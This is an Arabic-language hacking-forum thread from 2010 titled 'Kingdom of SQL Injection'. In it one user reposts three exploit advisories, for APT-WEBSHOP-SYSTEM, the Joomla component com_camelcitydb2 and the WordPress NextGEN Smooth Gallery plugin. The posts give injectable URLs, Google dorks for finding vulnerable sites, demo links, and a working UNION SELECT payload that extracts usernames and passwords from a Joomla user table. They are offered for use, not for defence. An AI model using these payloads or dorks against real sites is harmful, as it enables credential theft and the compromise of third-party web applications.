√مملكة ثغرات حقن قواعد البيانات√--Kingdom Of Sql Injection--

Master vbspiders · 08-05-2010, 04:57 PM

كود PHP:

  ===============================================

APT-WEBSHOP-SYSTEM modules.php SQL injection

===============================================

 

  ____ ____ _____ ___   ____ ______   ____ ___   ___    _  __

  / __// __// ___// _ \ / __//_  __/  /  _// _ \ / _ |  / |/ /

 _\ \ / _/ / /__ / , _// _/   / /    _/ / / , _// __ | /    /

/___//___/ \___//_/|_|/___/  /_/____/___//_/|_|/_/ |_|/_/|_/ 

                               /___/                         

 

####################################################

# APT-WEBSHOP-SYSTEM modules.php SQL injection

####################################################

# Discovered by : secret

# Site          : http://swissfaking.net

# Dork          : powered by apt-webservice ;apt-webshop-system v3.0

# Vendor        : http://www.apt-ebusiness.com

 

# Exploit       : [site]/shop/modules.php?warp=artikel&group=x&seite=x&id=xxx(SQLINJECTION)

 

 

#######################################################################################

المصدر: :: vBspiders Professional Network ::

APT-WEBSHOP-SYSTEM modules>php SQL injection

Master vbspiders · 08-05-2010, 04:58 PM

كود PHP:

  view source

print?

==============================================================

Joomla Component (com_camelcitydb2) SQL Injection Vulnerability

==============================================================

  

###########################

Title : Joomla Component (com_camelcitydb2) SQL Injection Vulnerability

Script : Joomla CamelcityDB 2.2

Date : 02/08/2010

Author : Amine_92

Tested : All version

Home : http://vbhacker.net

Dork : inurl:"option=com_camelcitydb2"

contact : amine92_16@hotmail.fr

########################### 

           

[ Vulnerable File ]

       

[path]/index.php?option=com_camelcitydb2&view=all&Itemid=15

  

[SQL]:

  

/index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--

  

############################################################## 

Thank's to : All Hacker Mu$lim & Poeple of Gaza

Master vbspiders · 08-05-2010, 05:00 PM

كود PHP:

  #############################################################################################################

## WordPress NextGEN Smooth Gallery BLIND SQL injection                                            ##

## Author : kaMtiEz (kamzcrew@yahoo.com)                                   ##

## Homepage : http://www.indonesiancoder.com                                           ##

## Date : 03 August, 2010                                                          ##

#############################################################################################################

 

[ Software Information ]

 

[+] Download : http://downloads.wordpress.org/plugin/nextgen-smooth-gallery.1.2.zip

[+] version : 1.2 or lower maybe also affected

[+] Vulnerability : BLIND SQL

[+] Dork : "CiHuY"

[+] LOCATION : INDONESIA - JOGJA

 

#############################################################################################################

 

[ Vulnerable File ]

 

http://127.0.0.1/[kaMtiEz]/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=[VALID ID][BLIND-SQL]

 

[ DEMO ]

 

http://www.site.com/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=31[BLIND-SQL]

 

http://www.site.com/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=34[BLIND-SQL]

 

http://www.site.com/dp2009/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=2[BLIND-SQL]

 

[ FIX ]

 

dunno :">

 

 

#############################################################################################################

 

[ Thx TO ]

 

[+] INDONESIAN CODER TEAM MainHack MAGELANG CYBER ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW IH-CREW

[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,Jack-,Hakz,pl4nkt0n

[+] Contrex,YadoY666,bumble_be,MarahMeraH,newbie_043,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck

[+] Coracore,Gh4mb4s,Jack-,vYcOd,ayy,otong,CS-31,yur4kh4,MISTERFRIBO,GENI212,anharku,isarock

 

 

[ NOTE ]

 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM

[+] Menyambut kemerdekaan INDONESIA .. MERDEKA !!

[+] Selamat Menyambut datangnya bulan ramadhan :D

[+] sendiri di malam hari sambil merokok menikmati indahnya pagi ;)

 

[ QUOTE ]

 

[+] INDONESIANCODER still r0x

[+] nothing secure ..

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
ترتيب الخطوات في حقن قواعد البيانات SQL Injection	KaLa$nikoV	SQL قواعد البيانات	127	05-03-2017 08:12 PM
جميع ادوات حقن قواعد البيانات -Sql injection- {قأبل للتحديث}	Master vbspiders	SQL قواعد البيانات	280	08-24-2015 04:10 AM
Thumbs up into_outfile in SQL Injection شرح طريقة رفع شل عن طريق ثغرات SQL Injection	Black-FoG	SQL قواعد البيانات	73	03-14-2014 09:08 PM
[Style] : ¨°•√♥ كل عام وانتم بخير العيدية استايل العيد الازرق الاحترافي من سنبوك لتصميم ♥√•°¨	support	قسم ستآيلات الـ vB	0	09-18-2009 11:52 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

√مملكة ثغرات حقن قواعد البيانات√--Kingdom Of Sql Injection--

SQL قواعد البيانات